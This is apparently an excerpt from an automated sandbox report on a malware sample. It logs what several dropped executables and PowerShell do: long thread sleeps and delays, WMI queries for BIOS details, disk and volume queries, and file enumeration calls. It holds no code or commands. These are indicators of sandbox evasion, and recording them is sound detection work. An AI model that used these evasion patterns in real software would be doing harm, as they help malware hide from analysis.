Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 3780	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 6320	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Bridgecontainerserver\BrokerhostNet.exe TID: 2220	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 1628	Thread sleep count: 72 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 1628	Thread sleep time: -144072s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 1912	Thread sleep count: 81 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 1912	Thread sleep time: -162081s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 6532	Thread sleep time: -52000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 5420	Thread sleep count: 2923 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 5420	Thread sleep time: -5848923s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 5376	Thread sleep count: 3506 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 5376	Thread sleep time: -7015506s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 2036	Thread sleep count: 2682 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 2036	Thread sleep time: -5366682s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 3684	Thread sleep count: 79 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 3684	Thread sleep time: -158079s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 6716	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 6716	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 6792	Thread sleep count: 79 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 6792	Thread sleep time: -158079s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 3444	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5560	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5560	Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5328	Thread sleep count: 46 > 30
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5328	Thread sleep time: -92046s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 2136	Thread sleep count: 48 > 30
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 2136	Thread sleep time: -96048s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5580	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5960	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5960	Thread sleep time: -84042s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 6372	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 3044	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 3044	Thread sleep time: -74037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 736	Thread sleep count: 47 > 30
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 736	Thread sleep time: -94047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5504	Thread sleep count: 43 > 30
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 5504	Thread sleep time: -86043s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe TID: 8688	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 5416	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3520	Thread sleep count: 4216 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1748	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5424	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1736	Thread sleep count: 3698 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1532	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe TID: 5892	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 5192	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -599500s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -599109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -598734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -598328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -597468s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -597203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7776	Thread sleep time: -3600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -596968s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -596328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -596093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -595874s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -595733s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -595597s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -595390s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -594000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -593766s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -593655s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -593500s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -593281s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -593140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -593025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -592884s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -592734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -592515s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -592281s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -591922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -591281s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -591047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -590781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -590578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -590343s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -590093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -589906s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -589746s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -589593s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -589418s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -589234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -588984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -588390s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -588125s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -587990s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -587812s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -587659s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -587531s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -587360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -587234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -587105s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -586988s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -586862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -586733s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7776	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -586616s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -586484s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -586349s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -586093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585831s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585703s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585577s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585468s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585358s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585249s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585136s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -585010s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584905s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584652s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584546s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584435s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584327s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584215s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -584093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -583968s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -583834s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -583640s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -583281s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -583137s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -583013s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -582901s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -582772s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -582619s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -582500s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -582372s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -582203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -582015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -581843s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -581672s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -581484s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -581250s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -580984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -580625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -580479s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -580342s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -580093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -579905s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -579751s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -579625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -579500s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -579390s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -579268s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -579125s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -578967s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -578859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -578740s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -578578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -578297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577702s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577584s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577341s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577231s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577123s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -577007s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -576900s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -576796s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -576656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -576441s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -576318s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -576177s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -576047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -575922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -575794s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -575250s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7792	Thread sleep time: -574859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7304	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7304	Thread sleep time: -72036s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7328	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7328	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7332	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7320	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7320	Thread sleep time: -76038s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 5196	Thread sleep count: 278 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 5196	Thread sleep time: -1668000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7324	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7324	Thread sleep time: -72036s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe TID: 7308	Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe TID: 8116	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe TID: 7744	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe TID: 7880	Thread sleep count: 258 > 30
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe TID: 7880	Thread sleep count: 81 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BAA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	9_2_00BAA69B
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BBC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	9_2_00BBC220
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BCB348 FindFirstFileExA,	9_2_00BCB348

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: 9_2_00BBE6A3 VirtualQuery,GetSystemInfo,

9_2_00BBE6A3

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 599500
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 598734
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 597468
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 597203
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 3600000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 596968
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 596328
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 596093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595874
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595733
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595597
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 594000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593766
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593655
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593500
